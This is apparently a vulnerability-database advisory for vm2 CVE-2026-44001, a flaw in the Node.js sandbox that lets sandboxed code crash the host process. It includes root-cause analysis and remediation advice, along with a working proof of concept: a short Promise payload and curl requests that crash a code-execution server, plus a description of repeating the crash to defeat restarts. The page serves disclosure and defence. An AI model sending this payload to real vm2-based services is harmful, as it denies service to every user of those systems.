vm2 CVE-2026-44001
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
Lifecycle Timeline
3DescriptionCVE.org
Summary
A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.
Details
When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.
lib/setup-sandbox.js:38-localPromisewraps the nativePromiseconstructor but does not wrap the executor in try-catch.lib/setup-sandbox.js:165-230-resetPromiseSpeciesand the.then()/.catch()overrides sanitize theonRejectedcallback chains, but do not intercept unhandled rejections originating from the executor itself.
The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.
Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.
allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is *guaranteed* to be unhandled - making allowAsync: false paradoxically more dangerous than true for this vulnerability.
PoC
Library-level PoC (Node.js script - primary):
const { VM } = require("vm2");
// Works with ANY allowAsync setting - both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });
try {
const result = vm.run(`
new Promise(function(r, j) {
var e = new Error();
e.name = Symbol();
e.stack;
});
`);
console.log("Result:", result); // Reaches here (returns Promise object)
} catch (err) {
console.log("Caught:", err); // Never executed
}
console.log("After try-catch"); // Also prints normally
// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help - vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE - .catch() is blocked,
// so the rejection is guaranteed to be unhandled.HTTP demonstration (web service impact):
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
-X POST -H "Content-Type: application/json" \
-d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}
# 2. Send payload - server process will crash
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'
# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/
# => connection refusedImpact
- DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default - no special configuration is required for the crash to occur.
- Persistent DoS despite restart policies: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single
curlrequest caused the Docker container to restart (confirmed viaStartedAttimestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users - each restart is met with another crash before any real request can be served. - Amplification: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.
- Scope: All applications using vm2, regardless of
allowAsyncsetting.allowAsync: falseonly blocksasync/awaitsyntax and.then()/.catch()method calls - thePromiseconstructor itself still executes, and the unhandled rejection still propagates. In fact,allowAsync: falsemakes the vulnerability *worse* because.catch()is blocked, guaranteeing the rejection is always unhandled.
AnalysisAI
Remote unauthenticated attackers can crash Node.js processes running vm2 <= 3.10.5 by triggering an unhandled Promise rejection that terminates the host application. The vulnerability exploits an incomplete fix for CVE-2026-22709 - while previous patches sanitized .then() and .catch() callback chains, they failed to intercept unhandled rejections originating from Promise constructor executors. Publicly available exploit code exists (GitHub advisory GHSA-hw58-p9xv-2mjh). The attack requires minimal resources (150-byte HTTP request) but achieves high impact by crashing entire server processes serving all concurrent users, with demonstrated persistent DoS despite container orchestration restart policies.
Technical ContextAI
vm2 is a Node.js sandbox library enabling safe execution of untrusted JavaScript code by isolating it from the host Node.js process. The vulnerability stems from CWE-248 (Uncaught Exception) in the Promise executor wrapping logic within lib/setup-sandbox.js. The localPromise wrapper (line 38) does not encapsulate executor functions in try-catch blocks, while the resetPromiseSpecies implementation (lines 165-230) only sanitizes rejection handlers in .then() and .catch() chains - not unhandled rejections originating from the executor itself. When sandboxed code creates a Promise whose executor sets Error.name to a Symbol and accesses .stack, V8's internal FormatStackTrace C++ code attempts Symbol.toString(), throwing a TypeError in the host realm. Since Node.js 15+ terminates processes on unhandled Promise rejections by default, this host-realm error propagates outside the sandbox and crashes the entire application. The allowAsync: false configuration setting paradoxically worsens the vulnerability - it blocks .catch() method calls while leaving the Promise constructor callable, guaranteeing all executor rejections remain unhandled.
RemediationAI
Immediately upgrade to vm2 v3.11.0 or later, released as a coordinated security update addressing 13 critical vulnerabilities including this process-crash DoS (confirmed in release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0). The v3.11.0 patch wraps Promise executor functions to intercept and sanitize unhandled rejections before they propagate to the host process. For systems unable to upgrade immediately, implement these compensating controls: (1) Add process-level unhandled rejection handlers (process.on('unhandledRejection', ...)) to catch and log errors without terminating - however this only prevents crashes, not the sandbox escape itself, and may mask other legitimate bugs in your application; (2) Deploy vm2 processes in isolated, automatically-restarted containers with aggressive health checks (< 5 second intervals) to minimize downtime windows, though testing confirms attackers can maintain persistent DoS through rapid re-exploitation; (3) Rate-limit and authenticate code execution endpoints to reduce attack surface, though this only slows exploitation against a fundamentally broken isolation boundary; (4) Consider migrating to alternative sandboxing solutions like isolated-vm (V8 isolates), WebAssembly sandboxes, or OS-level containers, as the GitHub advisory context reveals vm2 has systemic architectural weaknesses with 13 sandbox escapes patched in a single coordinated release. Note that the allowAsync: false configuration is NOT a mitigation and actively worsens this vulnerability. All workarounds are temporary - the only complete fix is upgrading to v3.11.0 or migrating away from vm2 for security-critical isolation requirements.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-248 – Uncaught Exception
View allSame technique Denial Of Service
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-hw58-p9xv-2mjh